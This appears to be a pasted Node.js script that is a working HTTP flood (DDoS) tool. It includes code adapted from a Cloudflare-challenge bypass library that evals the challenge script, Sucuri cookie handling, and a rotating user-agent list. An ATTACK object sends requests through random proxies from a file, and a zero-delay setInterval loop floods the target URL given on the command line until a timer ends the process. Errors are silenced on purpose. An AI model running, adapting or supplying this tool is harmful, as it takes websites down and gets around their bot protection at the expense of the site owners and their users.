SHOW:
|
|
- or go back to the newest paste.
1 | var vm = require('vm'); | |
2 | var requestModule = require('request'); | |
3 | var jar = requestModule.jar(); | |
4 | var fs = require('fs'); | |
5 | var proxies = fs.readFileSync(process.argv[4], 'utf-8').replace(/\r/g, '').split('\n'); | |
6 | ||
7 | var EventEmitter = require('events').EventEmitter; | |
8 | var eventEmitterInfinity = new EventEmitter(Infinity); | |
9 | eventEmitterInfinity.setMaxListeners(Infinity); | |
10 | ||
11 | var request = requestModule.defaults({ | |
12 | jar: jar | |
13 | }), // Cookies should be enabled | |
14 | UserAgent = [ "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36", | |
15 | "FAST-WebCrawler/3.6 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)", | |
16 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)", | |
17 | "TheSuBot/0.2 (www.thesubot.de)", | |
18 | "Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16", | |
19 | "BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)", | |
20 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201", | |
21 | "FAST-WebCrawler/3.7 (atw-crawler at fast dot no; http://fast.no/support/crawler.asp)", | |
22 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1", | |
23 | "zspider/0.9-dev http://feedback.redkolibri.com/", | |
24 | "Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)", | |
25 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)", | |
26 | "Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51", | |
27 | "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36", | |
28 | "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3", | |
29 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194ABaiduspider+(+http://www.baidu.com/search/spider.htm)", | |
30 | "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko", | |
31 | "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko/20090327 Galeon/2.0.7", | |
32 | "Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15", | |
33 | "Mozilla/5.0 (Android; Linux armv7l; rv:9.0) Gecko/20111216 Firefox/9.0 Fennec/9.0", | |
34 | "Mozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10", | |
35 | "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)", | |
36 | "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)", | |
37 | "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5", | |
38 | "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60", | |
39 | "Mozilla/5.0 (iPad; U; CPU OS 5_1 like Mac OS X) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 UCBrowser/3.4.3.532", | |
40 | "Mozilla/5.0 (Nintendo WiiU) AppleWebKit/536.30 (KHTML, like Gecko) NX/3.0.4.2.12 NintendoBrowser/4.3.1.11264.US", | |
41 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0", | |
42 | "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)", | |
43 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00", | |
44 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00", | |
45 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00", | |
46 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; cn) Opera 11.00", | |
47 | "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00", | |
48 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36", | |
49 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.6.01001)", | |
50 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)", | |
51 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.5.01003)", | |
52 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0", | |
53 | "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8", | |
54 | "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1", | |
55 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko/20100101 Firefox/11.0", | |
56 | "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8", | |
57 | "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705)", | |
58 | "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1", | |
59 | "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", | |
60 | "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)", | |
61 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)", | |
62 | "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.01", | |
63 | "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)", | |
64 | "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1", | |
65 | "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02", | |
66 | "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1", | |
67 | "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]", | |
68 | "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36", | |
69 | "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36", | |
70 | "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36", | |
71 | "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36", | |
72 | "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36" | |
73 | ], | |
74 | Timeout = 6000, // Cloudflare requires a delay of 5 seconds, so wait for at least 6. | |
75 | WAF = true, | |
76 | cloudscraper = {}; | |
77 | ||
78 | ||
79 | /** | |
80 | * Performs get request to url with headers. | |
81 | * @param {String} url | |
82 | * @param {Function} callback function(error, response, body) {} | |
83 | * @param {Object} headers Hash with headers, e.g. {'Referer': 'http://google.com', 'User-Agent': '...'} | |
84 | */ | |
85 | cloudscraper.get = function(url, callback, headers) { | |
86 | performRequest({ | |
87 | method: 'GET', | |
88 | url: url, | |
89 | headers: headers | |
90 | }, callback); | |
91 | }; | |
92 | ||
93 | /** | |
94 | * Performs post request to url with headers. | |
95 | * @param {String} url | |
96 | * @param {String|Object} body Will be passed as form data | |
97 | * @param {Function} callback function(error, response, body) {} | |
98 | * @param {Object} headers Hash with headers, e.g. {'Referer': 'http://google.com', 'User-Agent': '...'} | |
99 | */ | |
100 | cloudscraper.post = function(url, body, callback, headers) { | |
101 | var data = '', | |
102 | bodyType = Object.prototype.toString.call(body); | |
103 | ||
104 | if (bodyType === '[object String]') { | |
105 | data = body; | |
106 | } else if (bodyType === '[object Object]') { | |
107 | data = Object.keys(body).map(function(key) { | |
108 | return key + '=' + body[key]; | |
109 | }).join('&'); | |
110 | } | |
111 | ||
112 | headers = headers || {}; | |
113 | headers['Content-Type'] = headers['Content-Type'] || 'application/x-www-form-urlencoded; charset=UTF-8'; | |
114 | headers['Content-Length'] = headers['Content-Length'] || data.length; | |
115 | ||
116 | performRequest({ | |
117 | method: 'HEAD', | |
118 | body: data, | |
119 | url: url, | |
120 | headers: headers | |
121 | }, callback); | |
122 | } | |
123 | ||
124 | /** | |
125 | * Performs get or post request with generic request options | |
126 | * @param {Object} options Object to be passed to request's options argument | |
127 | * @param {Function} callback function(error, response, body) {} | |
128 | */ | |
129 | cloudscraper.request = function(options, callback) { | |
130 | performRequest(options, callback); | |
131 | } | |
132 | ||
133 | function performRequest(options, callback) { | |
134 | var method; | |
135 | options = options || {}; | |
136 | options.headers = options.headers || {}; | |
137 | makeRequest = requestMethod(options.method); | |
138 | ||
139 | //Can't just do the normal options.encoding || 'utf8' | |
140 | //because null is a valid encoding. | |
141 | if ('encoding' in options) { | |
142 | options.realEncoding = options.encoding; | |
143 | } else { | |
144 | options.realEncoding = 'utf8'; | |
145 | } | |
146 | options.encoding = null; | |
147 | ||
148 | if (!options.url || !callback) { | |
149 | throw new Error('To perform request, define both url and callback'); | |
150 | } | |
151 | ||
152 | options.headers['User-Agent'] = options.headers['User-Agent'] || UserAgent; | |
153 | ||
154 | makeRequest(options, function(error, response, body) { | |
155 | var validationError; | |
156 | var stringBody; | |
157 | ||
158 | if (error || !body || !body.toString) { | |
159 | return callback({ | |
160 | errorType: 0, | |
161 | error: error | |
162 | }, body, response); | |
163 | } | |
164 | ||
165 | stringBody = body.toString('utf8'); | |
166 | ||
167 | if (validationError = checkForErrors(error, stringBody)) { | |
168 | return callback(validationError, body, response); | |
169 | } | |
170 | ||
171 | // If body contains specified string, solve challenge | |
172 | if (stringBody.indexOf('a = document.getElementById(\'jschl-answer\');') !== -1) { | |
173 | setTimeout(function() { | |
174 | return solveChallenge(response, stringBody, options, callback); | |
175 | }, Timeout); | |
176 | } else if (stringBody.indexOf('You are being redirected') !== -1 || | |
177 | stringBody.indexOf('sucuri_cloudproxy_js') !== -1) { | |
178 | setCookieAndReload(response, stringBody, options, callback); | |
179 | } else { | |
180 | // All is good | |
181 | processResponseBody(options, error, response, body, callback); | |
182 | } | |
183 | }); | |
184 | } | |
185 | ||
186 | function checkForErrors(error, body) { | |
187 | var match; | |
188 | ||
189 | // Pure request error (bad connection, wrong url, etc) | |
190 | if (error) { | |
191 | return { | |
192 | errorType: 0, | |
193 | error: error | |
194 | }; | |
195 | } | |
196 | ||
197 | // Finding captcha | |
198 | if (body.indexOf('why_captcha') !== -1 || /cdn-cgi\/l\/chk_captcha/i.test(body)) { | |
199 | return { | |
200 | errorType: 1 | |
201 | }; | |
202 | } | |
203 | ||
204 | // trying to find '<span class="cf-error-code">1006</span>' | |
205 | match = body.match(/<\w+\s+class="cf-error-code">(.*)<\/\w+>/i); | |
206 | ||
207 | if (match) { | |
208 | return { | |
209 | errorType: 2, | |
210 | error: parseInt(match[1]) | |
211 | }; | |
212 | } | |
213 | ||
214 | return false; | |
215 | } | |
216 | ||
217 | ||
218 | function solveChallenge(response, body, options, callback) { | |
219 | var challenge = body.match(/name="jschl_vc" value="(\w+)"/), | |
220 | host = response.request.host, | |
221 | makeRequest = requestMethod(options.method), | |
222 | jsChlVc, | |
223 | answerResponse, | |
224 | answerUrl; | |
225 | ||
226 | if (!challenge) { | |
227 | return callback({ | |
228 | errorType: 3, | |
229 | error: 'I cant extract challengeId (jschl_vc) from page' | |
230 | }, body, response); | |
231 | } | |
232 | ||
233 | jsChlVc = challenge[1]; | |
234 | ||
235 | challenge = body.match(/getElementById\('cf-content'\)[\s\S]+?setTimeout.+?\r?\n([\s\S]+?a\.value =.+?)\r?\n/i); | |
236 | ||
237 | if (!challenge) { | |
238 | return callback({ | |
239 | errorType: 3, | |
240 | error: 'I cant extract method from setTimeOut wrapper' | |
241 | }, body, response); | |
242 | } | |
243 | ||
244 | challenge_pass = body.match(/name="pass" value="(.+?)"/)[1]; | |
245 | ||
246 | challenge = challenge[1]; | |
247 | ||
248 | challenge = challenge.replace(/a\.value =(.+?) \+ .+?;/i, '$1'); | |
249 | ||
250 | challenge = challenge.replace(/\s{3,}[a-z](?: = |\.).+/g, ''); | |
251 | challenge = challenge.replace(/'; \d+'/g, ''); | |
252 | ||
253 | try { | |
254 | answerResponse = { | |
255 | 'jschl_vc': jsChlVc, | |
256 | 'jschl_answer': (eval(challenge) + response.request.host.length), | |
257 | 'pass': challenge_pass | |
258 | }; | |
259 | } catch (err) { | |
260 | return callback({ | |
261 | errorType: 3, | |
262 | error: 'Error occurred during evaluation: ' + err.message | |
263 | }, body, response); | |
264 | } | |
265 | ||
266 | answerUrl = response.request.uri.protocol + '//' + host + '/cdn-cgi/l/chk_jschl'; | |
267 | ||
268 | options.headers['Referer'] = response.request.uri.href; // Original url should be placed as referer | |
269 | options.url = answerUrl; | |
270 | options.qs = answerResponse; | |
271 | ||
272 | // Make request with answer | |
273 | makeRequest(options, function(error, response, body) { | |
274 | ||
275 | if (error) { | |
276 | return callback({ | |
277 | errorType: 0, | |
278 | error: error | |
279 | }, response, body); | |
280 | } | |
281 | ||
282 | if (response.statusCode === 302) { //occurrs when posting. request is supposed to auto-follow these | |
283 | //by default, but for some reason it's not | |
284 | options.url = response.headers.location; | |
285 | delete options.qs; | |
286 | makeRequest(options, function(error, response, body) { | |
287 | processResponseBody(options, error, response, body, callback); | |
288 | }); | |
289 | } else { | |
290 | processResponseBody(options, error, response, body, callback); | |
291 | } | |
292 | }); | |
293 | } | |
294 | ||
295 | function setCookieAndReload(response, body, options, callback) { | |
296 | var challenge = body.match(/S='([^']+)'/); | |
297 | var makeRequest = requestMethod(options.method); | |
298 | ||
299 | if (!challenge) { | |
300 | return callback({ | |
301 | errorType: 3, | |
302 | error: 'I cant extract cookie generation code from page' | |
303 | }, body, response); | |
304 | } | |
305 | ||
306 | var base64EncodedCode = challenge[1]; | |
307 | var cookieSettingCode = new Buffer(base64EncodedCode, 'base64').toString('ascii'); | |
308 | ||
309 | var sandbox = { | |
310 | location: { | |
311 | reload: function() {} | |
312 | }, | |
313 | document: {} | |
314 | }; | |
315 | vm.runInNewContext(cookieSettingCode, sandbox); | |
316 | try { | |
317 | cookies.push(sandbox.document.cookie); | |
318 | jar.setCookie(sandbox.document.cookie, response.request.uri.href, { | |
319 | ignoreError: true | |
320 | }); | |
321 | } catch (err) { | |
322 | return callback({ | |
323 | errorType: 3, | |
324 | error: 'Error occurred during evaluation: ' + err.message | |
325 | }, body, response); | |
326 | } | |
327 | ||
328 | makeRequest(options, function(error, response, body) { | |
329 | if (error) { | |
330 | return callback({ | |
331 | errorType: 0, | |
332 | error: error | |
333 | }, response, body); | |
334 | } | |
335 | processResponseBody(options, error, response, body, callback); | |
336 | }); | |
337 | } | |
338 | ||
339 | // Workaround for better testing. Request has pretty poor API | |
340 | function requestMethod(method) { | |
341 | // For now only GET and POST are supported | |
342 | method = method.toUpperCase(); | |
343 | ||
344 | return method === 'POST' ? request.post : request.get; | |
345 | } | |
346 | ||
347 | function processResponseBody(options, error, response, body, callback) { | |
348 | if (typeof options.realEncoding === 'string') { | |
349 | body = body.toString(options.realEncoding); | |
350 | // In case of real encoding, try to validate the response | |
351 | // and find potential errors there. | |
352 | // If encoding is not provided, return response as it is | |
353 | if (validationError = checkForErrors(error, body)) { | |
354 | return callback(validationError, response, body); | |
355 | } | |
356 | } | |
357 | ||
358 | ||
359 | callback(error, response, body); | |
360 | } | |
361 | ||
362 | process.on('uncaughtException', function(err) { | |
363 | ||
364 | }) | |
365 | ||
366 | process.on('unhandledRejection', function(err) { | |
367 | ||
368 | }); | |
369 | ||
370 | var ATTACK = { | |
371 | http(method, url, proxy) { | |
372 | requestModule({ | |
373 | method: method, | |
374 | proxy: 'http://' + proxy, | |
375 | headers: { | |
376 | 'UserAgent': UserAgent[Math.floor(Math.random() * UserAgent.length)] | |
377 | }, | |
378 | url: url | |
379 | }, function(err, response, body) { | |
380 | //console.log(err, response.statusCode); | |
381 | }); | |
382 | }, | |
383 | cfbypass(method, url, proxy) { | |
384 | performRequest({ | |
385 | method: method, | |
386 | proxy: 'http://' + proxy, | |
387 | headers: { | |
388 | 'UserAgent': UserAgent[Math.floor(Math.random() * UserAgent.length)] | |
389 | }, | |
390 | url: url | |
391 | }, function(err, response, body) { | |
392 | //console.log(err, response.statusCode); | |
393 | }); | |
394 | } | |
395 | } | |
396 | ||
397 | setTimeout(function() { | |
398 | process.exit(1); | |
399 | }, process.argv[3] * 1000); | |
400 | ||
401 | setInterval(function() { | |
402 | ATTACK.http('HEAD', process.argv[2], proxies[Math.floor(Math.random() * proxies.length)]); | |
403 | }); |